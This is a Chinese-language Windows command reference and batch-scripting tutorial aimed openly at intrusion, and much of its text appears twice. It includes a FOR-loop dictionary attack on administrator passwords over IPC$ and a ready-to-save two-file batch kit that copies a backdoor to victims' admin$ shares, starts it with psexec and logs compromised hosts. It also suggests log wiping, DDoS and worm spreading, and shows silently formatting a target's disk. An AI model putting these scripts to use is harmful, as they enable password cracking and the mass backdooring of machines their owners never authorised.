conf-----------启动 netmeeting
control userpasswords2-----User Account 权限设置
devmgmt.msc--- 设备管理器
diskmgmt.msc---磁盘管理实用程序
dfrg.msc-------磁盘碎片整理程序
drwtsn32------ 系统医生
dvdplay--------启动Media Player
dxdiag-----------DirectX Diagnostic Tool
gpedit.msc-------组策略编辑器
gpupdate /target:computer /force 强制刷新组策略
eventvwr.exe-----事件查看器
explorer-------打开资源管理器
logoff---------注销命令
lusrmgr.msc----本机用户和组
msinfo32---------系统信息
msconfig---------系统配置实用程序
net start (servicename)----启动该服务
net stop (servicename)-----停止该服务
notepad--------打开记事本
nusrmgr.cpl-------同control userpasswords,打开用户帐户控制面板
Nslookup-------IP地址侦测器
oobe/msoobe /a----检查XP是否激活
perfmon.msc----计算机性能监测程序
progman--------程序管理器
regedit----------注册表编辑器
regedt32-------注册表编辑器
regsvr32 /u *.dll----停止dll文件运行
route print------查看路由表
rononce -p ----15秒关机
rsop.msc-------组策略结果集
rundll32.exe rundll32.exe %Systemroot%System32shimgvw.dll,ImageView_Fullscreen----启动一个空白的Windows 图片和传真查看器
secpol.msc--------本地安全策略
services.msc---本地服务设置
sfc /scannow-----启动系统文件检查器
sndrec32-------录音机
taskmgr-----任务管理器(适用于2000/xp/2003)
tsshutdn-------60秒倒计时关机命令
winchat--------XP自带局域网聊天
winmsd---------系统信息
winver-----显示About Windows 窗口
wupdmgr-----------Windows Update
1.Echo 命令 打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。 语法 echo [{on|off}] [message] Sample:echo off / echo hello world 在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。
2.@ 命令 表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。 Sample:@echo off @echo Now initializing the program,please wait a minite... @format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)
3.Goto 命令 指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。 语法:goto label (label是参数,指定所要转向的批处理程序中的行。) Sample: if {%1}=={} goto noparms if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。) @Rem check parameters if null show usage :noparms echo Usage: monitor.bat ServerIP PortNumber goto end 标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。
4.Rem 命令 注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。 Rem Message Sample:@Rem Here is the description.
5.Pause 命令 运行 Pause 命令时,将显示下面的消息: Press any key to continue . . . Sample: @echo off :begin copy a:*.* d:\back echo Please put a new disk into driver A pause goto begin 在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。
6.Call 命令 从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。 语法 call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]] 参数 [Drive:}[Path] FileName 指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。
7.start 命令 调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。 入侵常用参数: MIN 开始时窗口最小化 SEPARATE 在分开的空间内开始 16 位 Windows 程序 HIGH 在 HIGH 优先级类别开始应用程序 REALTIME 在 REALTIME 优先级类别开始应用程序 WAIT 启动应用程序并等候它结束 parameters 这些为传送到命令/程序的参数 执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。 8.choice 命令 choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……
如: choice /c:dme defrag,mem,end 将显示 defrag,mem,end[D,M,E]? Sample: Sample.bat的内容如下: @echo off choice /c:dme defrag,mem,end if errorlevel 3 goto defrag (应先判断数值最高的错误码) if errorlevel 2 goto mem if errotlevel 1 goto end
:defrag c:\dos\defrag goto end :mem mem goto end :end echo good bye
此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。
9.If 命令
if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式: 1、if "参数" == "字符串" 待执行的命令 参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号) 如if "%1"=="a" format a: if {%1}=={} goto noparms if {%2}=={} goto noparms
2、if exist 文件名 待执行的命令 如果有指定的文件,则条件成立,运行命令,否则运行下一句。 如if exist config.sys edit config.sys
3、if errorlevel / if not errorlevel 数字 待执行的命令 如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。 如if errorlevel 2 goto x2 DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。
10.for 命令 for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。 在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
for {%variable|%%variable} in (set) do command [ CommandLineOptions] %variable 指定一个单一字母可替换的参数。 (set) 指定一个或一组文件。可以使用通配符。 command 指定对每个文件执行的命令。 command-parameters 为特定命令指定参数或命令行开关。 在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable 而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I
如果命令扩展名被启用,下列额外的 FOR 命令格式会受到 支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符,则指定与目录名匹配,而不与文件 名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-
检查以 [drive:]path 为根的目录树,指向每个目录中的 FOR 语句。如果在 /R 后没有指定目录,则使用当前 目录。如果集仅为一个单点(.)字符,则枚举该目录树。
FOR /L %variable IN (start,step,end) DO command [command-para
该集表示以增量形式从开始到结束的一个数字序列。 因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生 序列 (5 4 3 2 1)。
FOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN (command) DO command
或者,如果有 usebackq 选项:
FOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN (command) DO command
filenameset 为一个或多个文件名。继续到 filenameset 中的 下一个文件之前,每份文件都已被打开、读取并经过处理。 处理包括读取文件,将其分成一行行的文字,然后将每行 解析成零或更多的符号。然后用已找到的符号字符串变量值 调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开 的第一个空白符号。跳过空白行。您可通过指定可选 "options" 参数替代默认解析操作。这个带引号的字符串包括一个或多个 指定不同解析选项的关键字。这些关键字为:
eol=c - 指一个行注释字符的结尾(就一个) skip=n - 指在文件开始时忽略的行数。 delims=xxx - 指分隔符集。这个替换了空格和跳格键的 默认分隔符集。 tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代 的 for 本身。这会导致额外变量名称的 格式为一个范围。通过 nth 符号指定 m 符号字符串中的最后一个字符星号, 那么额外的变量将在最后一个符号解析之 分配并接受行的保留文本。 usebackq - 指定新语法已在下类情况中使用: 在作为命令执行一个后引号的字符串并且 引号字符为文字字符串命令并允许在 fi 中使用双引号扩起文件名称。
sample1: FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将 每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或 空格定界符号。请注意,这个 for 程序体的语句引用 %i 来 取得第二个符号,引用 %j 来取得第三个符号,引用 %k 来取得第三个符号后的所有剩余符号。对于带有空格的文件 名,您需要用双引号将文件名括起来。为了用这种方式来使 用双引号,您还需要使用 usebackq 选项,否则,双引号会 被理解成是用作定义某个要分析的字符串的。
%i 专门在 for 语句中得到说明,%j 和 %k 是通过 tokens= 选项专门得到说明的。您可以通过 tokens= 一行 指定最多 26 个符号,只要不试图说明一个高于字母 z 或 Z 的变量。请记住,FOR 变量是单一字母、分大小写和全局的; 同时不能有 52 个以上都在使用中。
您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是, 用单引号将括号之间的 filenameset 括起来。这样,该字符 串会被当作一个文件中的一个单一输入行。
最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将 括号之间的 filenameset 变成一个反括字符串。该字符串会 被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进 内存,并被当作文件分析。因此,以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
会枚举当前环境中的环境变量名称。
另外,FOR 变量参照的替换已被增强。您现在可以使用下列 选项语法:
~I - 删除任何引号("),扩充 %I %~fI - 将 %I 扩充到一个完全合格的路径名 %~dI - 仅将 %I 扩充到一个驱动器号 %~pI - 仅将 %I 扩充到一个路径 %~nI - 仅将 %I 扩充到一个文件名 %~xI - 仅将 %I 扩充到一个文件扩展名 %~sI - 扩充的路径只含有短名 %~aI - 将 %I 扩充到文件的文件属性 %~tI - 将 %I 扩充到文件的日期/时间 %~zI - 将 %I 扩充到文件的大小 %~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充 到找到的第一个完全合格的名称。如果环境变量 未被定义,或者没有找到文件,此组合键会扩充 空字符串
可以组合修饰符来得到多重结果:
%~dpI - 仅将 %I 扩充到一个驱动器号和路径 %~nxI - 仅将 %I 扩充到一个文件名和扩展名 %~fsI - 仅将 %I 扩充到一个带有短名的完整路径名 %~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充 到找到的第一个驱动器号和路径。 %~ftzaI - 将 %I 扩充到类似输出线路的 DIR
在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法 用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名 比较易读,而且避免与不分大小写的组合键混淆。
以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。
sample2:
利用For命令来实现对一台目标Win2k主机的暴力密码破解。 我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。 最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator" 用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令-- for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ,这样就ko了。
sample3:
你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。
主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable) @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。 而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。 delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。 代码雏形:
--------------- cut here then save as a batchfile(I call it main.bat ) -------------------- @echo off @if "%1"=="" goto usage @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k @goto end :usage @echo run this batch in dos modle.or just double-click it. :end --------------- cut here then save as a batchfile(I call it main.bat ) --------------------
------------------- cut here then save as a batchfile(I call it door.bat) ----------------- @net use \\%1\ipc$ %3 /u:"%2" @if errorlevel 1 goto failed @echo Trying to establish the IPC$ connection …………OK @copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt @p***ec \\%1 c:\winnt\system32\windrv32.exe @p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt :failed @echo Sorry can not connected to the victim. ----------------- cut here then save as a batchfile(I call it door.bat) ------------------- 这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容 尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.
一.简单批处理内部命令简介
1.Echo 命令 打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
语法: echo [{on│off}] [message] Sample:@echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命
令到特定格式的文件中.这将在以后的例子中体现出来。
2.@ 命令
表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使
用的命令啦。 Sample:@echo off @echo Now initializing the program,please wait a minite... @format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这
个参数给我们,效果和/y是一样的。)
3.Goto 命令 指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
语法:goto label (label是参数,指定所要转向的批处理程序中的行。) Sample: if {%1}=={} goto noparms if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。) @Rem check parameters if null show usage :noparms echo Usage: monitor.bat ServerIP PortNumber goto end
标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令
就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。
4.Rem 命令
注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你
自己日后修改。 Rem Message Sample:@Rem Here is the description.
5.Pause 命令
运行 Pause 命令时,将显示下面的消息: Press any key to continue . . .
Sample: @echo off :begin copy a:*.* d:\back echo Please put a new disk into driver A pause goto begin
在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入
驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。
6.Call 命令
从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签
。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。 语法: call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数: [Drive:}[Path] FileName
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。
7.start 命令
调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。 常用参数: MIN 开始时窗口最小化 SEPARATE 在分开的空间内开始 16 位 Windows 程序 HIGH 在 HIGH 优先级类别开始应用程序 REALTIME 在 REALTIME 优先级类别开始应用程序 WAIT 启动应用程序并等候它结束 parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE不等应用程序终止就返回命令提示。如果在命令脚本
内执行,该新行为则不会发生。 8.choice 命令
choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提
示可输入的字符,之间无空格。它的返回码为1234......
如: choice /c:dme defrag,mem,end
将显示 defrag,mem,end[D,M,E]?
Sample: Sample.bat的内容如下:
@echo off choice /c:dme defrag,mem,end if errorlevel 3 goto defrag (应先判断数值最高的错误码) if errorlevel 2 goto mem if errotlevel 1 goto end
:defrag c:\dos\defrag goto end :mem mem goto end :end echo good bye
此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行
标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后
都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。
9.If 命令
if 表示将判断是否符合规定的条件,从而决定执行不同的命令。
有三种格式:
1)、if "参数" == "字符串" 待执行的命令 参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
如if "%1"=="a" format a: if {%1}=={} goto noparms if {%2}=={} goto noparms
2)、if exist 文件名 待执行的命令 如果有指定的文件,则条件成立,运行命令,否则运行下一句。 如if exist config.sys edit config.sys
3)、if errorlevel / if not errorlevel 数字 待执行的命令 如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。 如if errorlevel 2 goto x2 DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。
10.for 命令 for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。 在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
for {%variable│%%variable} in (set) do command [ CommandLineOptions] %variable 指定一个单一字母可替换的参数。 (set) 指定一个或一组文件。可以使用通配符。 command 指定对每个文件执行的命令。 command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable 而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I
如果命令扩展名被启用,下列额外的 FOR 命令格式会受到支持: FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters]
检查以 [drive:]path 为根的目录树,指向每个目录中的FOR 语句。如果在 /R 后没有指定目录,则使用
当前目录。如果集仅为一个单点(.)字符,则枚举该目录树。
FOR /L %variable IN (start,step,end) DO command [command-parameters]
该集表示以增量形式从开始到结束的一个数字序列。 因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生 序列 (5 4 3 2 1)。
FOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN ('command') DO command
或者,如果有 usebackq 选项:
FOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN ('command') DO command
filenameset 为一个或多个文件名。继续到 filenameset 中的下一个文件之前,每份文件都已被打开、读
取并经过处理。 处理包括读取文件,将其分成一行行的文字,然后将每行解析成零或更多的符号。然后用已找到的符号字
符串变量值调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开的第一个空白符号。跳过空白
行。您可通过指定可选 "options" 参数替代默认解析操作。这个带引号的字符串包括一个或多个指定不同
解析选项的关键字。这些关键字为:
eol=c - 指一个行注释字符的结尾(就一个) skip=n - 指在文件开始时忽略的行数。 delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。 tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的 格式为一个范围。通过 nth 符号指定 m 符号字符串中的最后一个字符星号,那么额外的变量将在最后一
个符号解析之分配并接受行的保留文本。 usebackq - 指定新语法已在下类情况中使用: 在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在 file-set中使用双引号扩起
文件名称。
sample1: FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给 for
程序体;用逗号和/或 空格定界符号。请注意,这个 for 程序体的语句引用 %i 来取得第二个符号,引用
%j 来取得第三个符号,引用 %k来取得第三个符号后的所有剩余符号。对于带有空格的文件名,您需要用
双引号将文件名括起来。为了用这种方式来使用双引号,您还需要使用 usebackq 选项,否则,双引号会
被理解成是用作定义某个要分析的字符串的。
%i 专门在 for 语句中得到说明,%j 和 %k 是通过tokens= 选项专门得到说明的。您可以通过 tokens=
一行指定最多 26 个符号,只要不试图说明一个高于字母 'z' 或'Z' 的变量。请记住,FOR 变量是单一字
母、分大小写和全局的;同时不能有 52 个以上都在使用中。
您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,用单引号将括号之间的 filenameset 括起来。
这样,该字符串会被当作一个文件中的一个单一输入行。
最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将括号之间的 filenameset 变成一个反括字符
串。该字符串会被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进内存,并被当作文件分析。因此
,以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
会枚举当前环境中的环境变量名称。
另外,FOR 变量参照的替换已被增强。您现在可以使用下列选项语法:
~I - 删除任何引号("),扩充 %I %~fI - 将 %I 扩充到一个完全合格的路径名 %~dI - 仅将 %I 扩充到一个驱动器号 %~pI - 仅将 %I 扩充到一个路径 %~nI - 仅将 %I 扩充到一个文件名 %~xI - 仅将 %I 扩充到一个文件扩展名 %~sI - 扩充的路径只含有短名 %~aI - 将 %I 扩充到文件的文件属性 %~tI - 将 %I 扩充到文件的日期/时间 %~zI - 将 %I 扩充到文件的大小 %~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个完全合格的名称。如果环境变
量未被定义,或者没有找到文件,此组合键会扩充空字符串
可以组合修饰符来得到多重结果:
%~dpI - 仅将 %I 扩充到一个驱动器号和路径 %~nxI - 仅将 %I 扩充到一个文件名和扩展名 %~fsI - 仅将 %I 扩充到一个带有短名的完整路径名 %~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个驱动器号和路径。 %~ftzaI - 将 %I 扩充到类似输出线路的 DIR
在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法用一个有效的 FOR 变量名终止。选取类似
%I 的大写变量名比较易读,而且避免与不分大小写的组合键混淆。
以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。
sample2:
利用For命令来实现对一台目标Win2k主机的暴力密码破解。 我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下
密码。 最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator" 用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给
find命令-- for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"│find ":命令成功完
成">>D:\ok.txt ,这样就ko了。
sample3:
你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会
变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵
,看下去你就会明白了。
主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable) @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数
%i %j %k。 而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码
(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。 delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容
是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。
代码雏形: --------------- cut here then save as a batchfile(I call it main.bat ) ---------------------
------ @echo off @if "%1"=="" goto usage @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k @goto end :usage @echo run this batch in dos modle.or just double-click it. :end --------------- cut here then save as a batchfile(I call it main.bat ) ---------------------
------
------------------- cut here then save as a batchfile(I call it door.bat) ------------------
----------- @net use \\%1\ipc$ %3 /u:"%2" @if errorlevel 1 goto failed @echo Trying to establish the IPC$ connection ............OK @copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3
>>ko.txt @psexec \\%1 c:\winnt\system32\windrv32.exe @psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt :failed @echo Sorry can not connected to the victim. ----------------- cut here then save as a batchfile(I call it door.bat) --------------------
------------
这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一
目录下.批处理内容 尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功
能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.
二.如何在批处理文件中使用参数
批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见
,我们就不考虑它了。 sample1:fomat.bat
@echo off if "%1"=="a" format a: :format @format a:/q/u/auotset @echo please insert another disk to driver A. @pause @goto fomat 这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添
足了~
sample2:
当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令
写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令
了。 @echo off @net use \\1%\ipc$ "2%" /u:"3%" 注意哦,这里PASSWORD是第二个参数。 @if errorlevel 1 echo connection failed 怎么样,使用参数还是比较简单的吧?你这么帅一定学会了.No.3
三.如何使用组合命令(Compound Command)
1.&
Usage:第一条命令 & 第二条命令 [& 第三条命令...]
用这种方法可以同时执行多条命令,而不管命令是否执行成功
Sample: C:\>dir z: & dir c:\Ex4rch The system cannot find the path specified. Volume in drive C has no label. Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:51 . 2002-05-14 23:51 .. 2002-05-14 23:51 14 sometips.gif
2.&& Usage:第一条命令 && 第二条命令 [&& 第三条命令...]
用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则
一直执行完所有命令;
Sample: C:\>dir z: && dir c:\Ex4rch The system cannot find the path specified.
C:\>dir c:\Ex4rch && dir z: Volume in drive C has no label. Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:55 . 2002-05-14 23:55 .. 2002-05-14 23:55 14 sometips.gif 1 File(s) 14 bytes 2 Dir(s) 768,671,744 bytes free The system cannot find the path specified.
在做备份的时候可能会用到这种命令会比较简单,如: dir file&://192.168.0.1/database/backup.mdb && copy file&://192.168.0.1/database/backup.mdb
E:\backup 如果远程服务器上存在backup.mdb文件,就执行copy命令,若不存在该文件则不执行copy命令。这种用法
可以替换IF exist了.
3.││
Usage:第一条命令 ││ 第二条命令 [││ 第三条命令...]
用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的
命令则一直执行完所有命令;
Sample: C:\Ex4rch>dir sometips.gif ││ del sometips.gif Volume in drive C has no label. Volume Serial Number is 0078-59FB
Directory of C:\Ex4rch
2002-05-14 23:55 14 sometips.gif 1 File(s) 14 bytes 0 Dir(s) 768,696,320 bytes free
组合命令使用的例子: sample: @copy trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3
>>victim.txt
四、管道命令的使用
1.│ 命令 Usage:第一条命令 │ 第二条命令 [│ 第三条命令...] 将第一条命令的结果作为第二条命令的参数来使用,记得在unix中这种方式很常见。
sample: time /t>>D:\IP.log netstat -n -p tcp│find ":3389">>D:\IP.log start Explorer
看出来了么?用于终端服务允许我们为用户自定义起始的程序,来实现让用户运行下面这个bat,以获得登
录用户的IP。
2.>、>>输出重定向命令 将一条命令或某个程序输出结果的重定向到特定文件中, > 与 >>的区别在于,>会清除调原有文件中的内
容后写入指定文件,而>>只会追加内容到指定文件中,而不会改动其中的内容。
sample1: echo hello world>c:\hello.txt (stupid example?)
sample2: 时下DLL木马盛行,我们知道system32是个捉迷藏的好地方,许多木马都削尖了脑袋往那里钻,DLL马也不
例外,针对这一点我们可以在安装好系统和必要的应用程序后,对该目录下的EXE和DLL文件作一个记录: 运行CMD--转换目录到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt, 这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中, 日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了. 这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运
行: CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比
较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能发现一些多出来的DLL和EXE文件,
然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没
有是最好,如果有的话也不要直接DEL掉,先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到
回收站里,若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。
3.< 、>& 、<& < 从文件中而不是从键盘中读入命令输入。 >& 将一个句柄的输出写入到另一个句柄的输入中。 <& 从一个句柄读取输入并将其写入到另一个句柄输出中。 这些并不常用,也就不多做介绍。
五.如何用批处理文件来操作注册表
在入侵过程中经常回操作注册表的特定的键值来实现一定的目的,例如:为了达到隐藏后门、木马程序而删
除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统
的某个属性,这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操
作注册表.(我们可以用批处理来生成一个REG文件) 关于注册表的操作,常见的是创建、修改、删除。
1.创建 创建分为两种,一种是创建子项(Subkey)
我们创建一个文件,内容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]
然后执行该脚本,你就已经在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下创建了一个名字为"hacker"的子
项。
另一种是创建一个项目名称
